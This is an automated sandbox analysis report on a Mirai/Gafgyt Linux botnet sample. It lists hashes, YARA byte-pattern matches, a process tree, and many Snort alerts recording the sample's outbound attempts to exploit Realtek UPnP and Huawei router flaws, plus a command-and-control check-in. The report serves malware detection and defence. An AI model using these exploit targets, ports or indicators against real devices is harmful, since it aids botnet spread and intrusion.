Edit tour

Linux Analysis Report
K8vjjv1Tcx.elf

Overview

General Information

Sample name:	K8vjjv1Tcx.elf renamed because original name is a hash value
Original sample name:	7930e33e5a4381a579148d2205060ba4.elf
Analysis ID:	1477281
MD5:	7930e33e5a4381a579148d2205060ba4
SHA1:	1020a2de3732f942eee92b2c3df69891dbdc1541
SHA256:	684ba6ec7fc3e0595aceabbc1039a98eaca613860dfa2eaf5f84574cc40bda14
Tags:	32elfgafgytrenesas
Infos:

Detection

Mirai, Gafgyt, Okiru

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Gafgyt

Yara detected Mirai

Yara detected Okiru

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings that are potentially command strings

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1477281
Start date and time:	2024-07-20 23:04:28 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	K8vjjv1Tcx.elf renamed because original name is a hash value
Original Sample Name:	7930e33e5a4381a579148d2205060ba4.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/1@3/0

Warnings

Connection to analysis system has been lost, crash info: Unknown
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/K8vjjv1Tcx.elf
PID:	5491
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	done.
Standard Error:

Process Tree

system is lnxubuntu20

K8vjjv1Tcx.elf (PID: 5491, Parent: 5414, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/K8vjjv1Tcx.elf

K8vjjv1Tcx.elf New Fork (PID: 5495, Parent: 5491)

K8vjjv1Tcx.elf New Fork (PID: 5497, Parent: 5495)

K8vjjv1Tcx.elf New Fork (PID: 5499, Parent: 5495)

K8vjjv1Tcx.elf New Fork (PID: 5500, Parent: 5495)

K8vjjv1Tcx.elf New Fork (PID: 5503, Parent: 5495)

K8vjjv1Tcx.elf New Fork (PID: 5505, Parent: 5495)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.cyber5w.com/gafgyt-backdoor-analysis https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
K8vjjv1Tcx.elf	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
K8vjjv1Tcx.elf	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
K8vjjv1Tcx.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
K8vjjv1Tcx.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
K8vjjv1Tcx.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
K8vjjv1Tcx.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1b8dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b8f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b904:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b918:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b92c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b940:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b954:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b968:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b97c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b990:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b9a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b9b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b9cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b9e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b9f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba1c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba30:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba44:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba6c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author	Strings
5491.1.00007f68e0400000.00007f68e0420000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
5491.1.00007f68e0400000.00007f68e0420000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
5491.1.00007f68e0400000.00007f68e0420000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5491.1.00007f68e0400000.00007f68e0420000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5491.1.00007f68e0400000.00007f68e0420000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5491.1.00007f68e0400000.00007f68e0420000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1b8dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b8f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b904:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b918:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b92c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b940:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b954:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b968:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b97c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b990:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b9a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b9b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b9cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b9e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b9f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba1c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba30:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba44:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba6c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: K8vjjv1Tcx.elf PID: 5491	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Process Memory Space: K8vjjv1Tcx.elf PID: 5491	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: K8vjjv1Tcx.elf PID: 5491	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: K8vjjv1Tcx.elf PID: 5491	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: K8vjjv1Tcx.elf PID: 5491	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x81c9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x81dd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x81f1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8205:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8219:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x822d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8241:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8255:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8269:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x827d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8291:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x82a5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x82b9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x82cd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x82e1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x82f5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8309:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x831d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8331:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8345:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8359:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 6 entries

Snort Signatures

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 140.105.115.242

Timestamp:	07/20/24-23:05:56.962614
SID:	2025132
Source Port:	43970
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 123.45.206.155

Timestamp:	07/20/24-23:05:52.258489
SID:	2835222
Source Port:	47662
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 194.72.202.29

Timestamp:	07/20/24-23:05:47.480999
SID:	2027339
Source Port:	47722
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.149.199.138

Timestamp:	07/20/24-23:05:52.218581
SID:	2835222
Source Port:	43786
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.151.5.99

Timestamp:	07/20/24-23:05:46.915618
SID:	2835222
Source Port:	42962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.198.164.117

Timestamp:	07/20/24-23:05:46.978421
SID:	2829579
Source Port:	53428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 93.187.137.171

Timestamp:	07/20/24-23:05:47.491665
SID:	2025132
Source Port:	42966
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 196.5.188.187

Timestamp:	07/20/24-23:05:51.487087
SID:	2027339
Source Port:	50738
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.9.111.213

Timestamp:	07/20/24-23:05:52.269606
SID:	2829579
Source Port:	41260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.89.46.226

Timestamp:	07/20/24-23:05:52.192507
SID:	2829579
Source Port:	46004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 52.192.132.102

Timestamp:	07/20/24-23:05:46.915618
SID:	2829579
Source Port:	48028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 80.48.49.198

Timestamp:	07/20/24-23:05:51.419963
SID:	2831300
Source Port:	59900
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 136.24.70.56

Timestamp:	07/20/24-23:05:51.441209
SID:	2027339
Source Port:	59938
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.166.221.172

Timestamp:	07/20/24-23:05:46.915618
SID:	2835222
Source Port:	53674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 99.239.249.88

Timestamp:	07/20/24-23:05:52.212387
SID:	2829579
Source Port:	41452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 81.130.219.80

Timestamp:	07/20/24-23:05:47.429952
SID:	2027339
Source Port:	37800
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 134.55.152.47

Timestamp:	07/20/24-23:05:51.419963
SID:	2027339
Source Port:	49718
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 89.229.96.227

Timestamp:	07/20/24-23:05:46.575567
SID:	2025132
Source Port:	38934
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.83.252.72

Timestamp:	07/20/24-23:05:52.261192
SID:	2829579
Source Port:	47048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.19.78.216

Timestamp:	07/20/24-23:05:46.919504
SID:	2829579
Source Port:	39112
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.21.191.229

Timestamp:	07/20/24-23:05:52.256968
SID:	2835222
Source Port:	40700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 62.80.115.9

Timestamp:	07/20/24-23:05:51.428628
SID:	2027339
Source Port:	34772
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.241.237.206

Timestamp:	07/20/24-23:05:52.256968
SID:	2835222
Source Port:	58740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.231.6.176

Timestamp:	07/20/24-23:05:47.533598
SID:	2829579
Source Port:	54002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 204.151.222.243

Timestamp:	07/20/24-23:05:51.423445
SID:	2831300
Source Port:	49614
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.221.20.7

Timestamp:	07/20/24-23:05:46.970753
SID:	2829579
Source Port:	34694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 92.253.193.163

Timestamp:	07/20/24-23:05:47.449837
SID:	2027339
Source Port:	60188
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 54.82.97.176

Timestamp:	07/20/24-23:05:51.492271
SID:	2831300
Source Port:	44096
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.221.35.92

Timestamp:	07/20/24-23:05:47.533810
SID:	2835222
Source Port:	36226
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.173.78.130

Timestamp:	07/20/24-23:05:46.918114
SID:	2835222
Source Port:	34876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 220.159.9.134

Timestamp:	07/20/24-23:05:51.420131
SID:	2831300
Source Port:	40190
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 131.82.186.16

Timestamp:	07/20/24-23:05:51.418369
SID:	2831300
Source Port:	50906
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 32.90.4.32

Timestamp:	07/20/24-23:05:46.961659
SID:	2835222
Source Port:	43454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 140.105.115.242

Timestamp:	07/20/24-23:05:56.962614
SID:	2027339
Source Port:	43970
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.117.152.206

Timestamp:	07/20/24-23:05:46.970753
SID:	2835222
Source Port:	35644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 15.235.203.214

Timestamp:	07/20/24-23:05:41.654163
SID:	2030490
Source Port:	53110
Destination Port:	2466
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 85.61.71.33

Timestamp:	07/20/24-23:05:47.536680
SID:	2829579
Source Port:	44046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 27.97.182.214

Timestamp:	07/20/24-23:05:46.978420
SID:	2835222
Source Port:	38152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.64.13.247

Timestamp:	07/20/24-23:05:46.926640
SID:	2829579
Source Port:	45404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 93.187.137.171

Timestamp:	07/20/24-23:05:47.491665
SID:	2027339
Source Port:	42966
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 145.164.204.137

Timestamp:	07/20/24-23:05:46.981573
SID:	2835222
Source Port:	45560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 78.110.167.93

Timestamp:	07/20/24-23:05:51.461470
SID:	2027339
Source Port:	34294
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 106.225.80.214

Timestamp:	07/20/24-23:05:51.421877
SID:	2027339
Source Port:	56524
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 89.229.96.227

Timestamp:	07/20/24-23:05:46.575567
SID:	2027339
Source Port:	38934
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.172.54.205

Timestamp:	07/20/24-23:05:46.978420
SID:	2835222
Source Port:	48874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

